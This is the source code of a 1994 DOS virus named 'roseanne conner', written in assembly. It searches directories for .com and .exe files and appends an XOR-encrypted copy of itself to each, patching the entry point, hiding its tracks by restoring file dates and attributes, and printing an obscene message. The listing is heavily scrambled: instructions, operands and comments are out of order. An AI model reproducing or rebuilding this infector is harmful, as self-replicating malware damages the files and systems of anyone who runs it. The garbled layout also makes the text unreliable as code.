; ;
roseanne conner written by mutation interrupt to compile this use tasm /m roseanne.asm
code
segment public 'code' assume cs:code org 100h
id = 'ab'
; all .com files start here ; id for infected files
start: db 0e9h,0,0 virus:
; jump to the next command
call realcode: pop nop sub nop nop nop nop nop call
realcode
; push current location on stack
bp
; get location off stack
bp,offset realcode
; adjust it for our pointer
encrypt_decrypt
; decrypt the virus first
encrypt_start
equ
; from here is encrypted
$
cmp je
sp,id restoreexe
; com or exe?
lea mov
si,[bp+offset oldjump] di,100h
; location of old jump in si ; location of where to put it in
di
; save so we could just return
di
push when done movsb movsw jmp restoreexe: push push push pop push pop lea lea movsw movsw movsw movsw exitrestore: lea call
exitrestore ds es cs ds cs es si,[bp+jmpsave2] di,[bp+jmpsave]
; move a byte ; move a word
; save exe ds ; save exe es ; ds now equals cs ; es now equals cs ; ; ; ;
dx,[bp+offset dta] set_dta
move move move move
a a a a
word word word word
; where to put new dta ; move it
dirloop:
mov int mov mov
ax,3524h 21h word ptr [bp+oldint24],bx word ptr [bp+oldint24+2],es
; get int 24 handler ; to es:bx ; save it
mov lea int
ah,25h dx,[bp+offset int24] 21h
; set new int 24 handler ; ds:dx->new handler
push pop
cs es
; restore es ; 'cuz it was changed
mov mov lea int
ah,47h dl,0h si,[bp+offset currentdir] 21h
; get the current directory ; on current drive ; where to keep it
lea call lea call
dx,[bp+offset exefilespec] findfirst dx,[bp+offset comfilespec] findfirst
lea mov int jnc
dx,[bp+offset directory] ah,3bh 21h dirloop
; where to change too '..' ; change directory
mov lea int
ah,9 dx,[bp+virusname] 21h
; display string
mov lds int
ax,2524h dx,[bp+offset oldint24] 21h
; restore int 24 handler ; to original
push pop
cs ds
lea mov int
dx,[bp+offset currentdir] ah,3bh 21h
; location of original dir ; change to there
mov call
dx,80h set_dta
; location of original dta ; put it back there
cmp jz
sp,id-4 returnexe
; exe or com?
; if no problems the look for
files
; do this because the ds gets
changed
jump
retn
returnexe: pop pop
; return to 100h to original
es ds
; get original es ; get original ds
mov add add add cli manipulation mov mov sti db jmpsave dd stacksave dd jmpsave2 dd stacksave2 dd
ax,es ax,10h word ptr cs:[bp+jmpsave+2],ax ax,word ptr cs:[bp+stacksave+2]
; clear int's because of stack
sp,word ptr cs:[bp+stacksave] ss,ax 0eah ? ? 0fff00000h ?
; ; ; ;
findfirst: mov mov
ah,4eh cx,7
; find first file ; find all attributes
findnext: int jc
21h quit
; find first/next file int ; if none found then change dir
infection
; infect that file
ah,4fh findnext
; find next file ; jump to the loop
ax,3d00h open
; open file for read only
mov mov lea int
ah,3fh cx,1ah dx,[bp+offset buffer] 21h
; read from file
mov int
ah,3eh 21h
; close file
word ptr [bp+buffer],'zm' checkexe ax,word ptr [bp+dta+35] ax,'dn'
; ; ; ;
quitinfect
; yup so get another file
bx,[bp+offset dta+1ah] cx,word ptr [bp+buffer+1] cx,eof-virus+3
; get file size ; get jump loc of file ; add for virus size
bx,cx
; does file size=file jump+virus
call findnext2: mov jmp quit:
ret
infection: mov call
cmp jz mov cmp (reverse order) jz checkcom: mov mov add cmp size
jump ssss:oooo jump location original cs:ip used with carrier file
; location to store them
exe? why yes, yes it is! get end of file name in ax does end in comma'nd'?
jz jmp checkexe: cmp jz jmp
quitinfect infectcom
; yup then get another file
word ptr [bp+buffer+10h],id quitinfect infectexe
; check exe for infection ; already infected so close up
bx,3 si,[bp+buffer] di,[bp+oldjump]
; adjust for new jump
quitinfect: ret infectcom: sub lea lea movsw movsb mov mov mov jmp infectexe: les mov mov
fsize
[bp+buffer],byte ptr 0e9h word ptr [bp+buffer+1],bx
; save for later
cx,3
; number of bytes to write
finishinfection ax,dword ptr [bp+buffer+14h] word ptr [bp+jmpsave2],ax word ptr [bp+jmpsave2+2],es
; load es with seg address ; save old cs:ip
les mov mov
ax,dword ptr [bp+buffer+0eh] word ptr [bp+stacksave2],es word ptr [bp+stacksave2+2],ax
; save old ss:sp ; save old cs:ip
mov mov shl xchg les mov push push
ax, word ptr [bp+buffer+8] cl,4 ax,cl ax,bx ax,[bp+offset dta+26] dx,es ax dx
; get header size
sub
ax,bx
; subtract header size from
sbb mov div
dx,0 cx,10h cx
; subtract the carry too ; convert to segment:offset form
mov mov
word ptr [bp+buffer+14h],dx word ptr [bp+buffer+16h],ax
; put in new header ; cs:ip
mov mov pop pop
word ptr [bp+buffer+0eh],ax word ptr [bp+buffer+10h],id dx ax
; ss:sp ; put id in for later ; get the file length back
add adc
ax,eof-virus dx,0
; add virus size ; add with carry
; get files size from dta ; its now in dx:ax ; save these
mov push shr ror stc adc pop and
cl,9 ax ax,cl dx,cl
; calculates new file size
mov mov
word ptr [bp+buffer+4],dx word ptr [bp+buffer+2],ax
; save new file size in header
push pop
cs es
; es = cs
dx,ax ax ah,1
mov cx,1ah (header) finishinfection: push cx xor cx,cx call attributes
; number of bytes to write ; save # of bytes to write ; set attriutes to none
mov call
al,2 open
; open file read/write
mov lea pop int jc
ah,40h dx,[bp+buffer] cx 21h closefile
; write to file ; location of bytes ; get number of bytes to write
mov call
al,02 move_fp
; move fpointer to eof
ah,2ch
; get time for our encryption
21h dh,0
; if its seconds are zere get
get_time [bp+enc_value],dh
; use seconds value for
encrypt_infect
; encrypt and infect the file
ax,5701h cx,word ptr [bp+dta+16h] dx,word ptr [bp+dta+18h] 21h
; set files date/time back ; get old time from dta ; get old date
mov int
ah,3eh 21h
; close file
xor mov call
cx,cx cl,byte ptr [bp+dta+15h] attributes
get_time: mov value int cmp another je mov encryption call closefile: mov mov mov int
retn
; get old attributes
move_fp:
mov xor xor int retn
ah,42h cx,cx dx,dx 21h
; move file pointer ; al has location ; clear these
mov int retn
ah,1ah 21h
; move the dta location
mov lea int xchg ret
ah,3dh dx,[bp+dta+30] 21h ax,bx
; open file ; filename in dta
ax,4301h dx,[bp+dta+30] 21h
; set attributes to cx ; filename in dta
set_dta:
open:
attributes: mov lea int ret int24: mov iret
al,3
; file handle in bx
; new int 24h (error) handler ; fail call ; return from int 24 call
virusname db 'roseanne conner - ya! fuck you too...',10,13 author db 'mutation interrupt',10,13 ; author of this virus made_with db '[november 1994]',10,13,'$' ; please do not remove this comfilespec exefilespec directory oldjump quit
db '*.com',0 db '*.exe',0 db '..',0 db 0cdh,020h,0h
encrypt_infect: lea lea mov move_loop: movsb loop lea call moved ret move_begin push lea call procedure pop return
si,[bp+offset move_begin] di,[bp+offset workarea] cx,move_end-move_begin
; ; ; ;
holds type of file to look for holds type of file to look for directory to change to old jump. is int 20h for file
; location of where to move from ; where to move it too ; number of bytes to move ; moves this routine into heap
move_loop dx,[bp+offset workarea] dx
equ $ bx dx,[bp+offset encrypt_end] dx bx
; jump to that routine just
; marks beginning of move ; save the file handle ; call the encrypt_decrypt ; get handle back in bx and
return move_end
mov mov lea int push lea call pop ret
encrypt_end
ah,40h cx,eof-virus dx,[bp+offset virus] 21h bx dx,[bp+offset encrypt_end] dx bx
; marks the end of move
equ
$
; marks the end of encryption
00h $
workarea db move_end-move_begin dup (?) routine currentdir db 64 dup (?) dta db 42 dup (?) buffer db 1ah dup (?) oldint24 dd ? handler code
ends end
; decrypt the file and return ; get handle back in bx and
$
enc_value db for nul effect equ
; save the file handle
equ
encrypt_decrypt: lea bx,[bp+encrypt_start] mov cx,encrypt_end-encrypt_start mov dh,[bp+enc_value] encrypt_loop: mov ah,cs:[bx] xor ah,dh mov cs:[bx],ah inc bx loop encrypt_loop ret
eof
; write to file ; number of bytes ; where to write from
start
; where to start encryption ; number of bytes to encrypt ; value to use for encryption ; ; ; ;
get a byte in ah xor it put it back move to next byte and loop
; hold the encryption value 00 ; marks the end of file ; holds the encrypt_infect ; ; ; ;
holds the current dir location of new dta holds exe header storage for old int 24h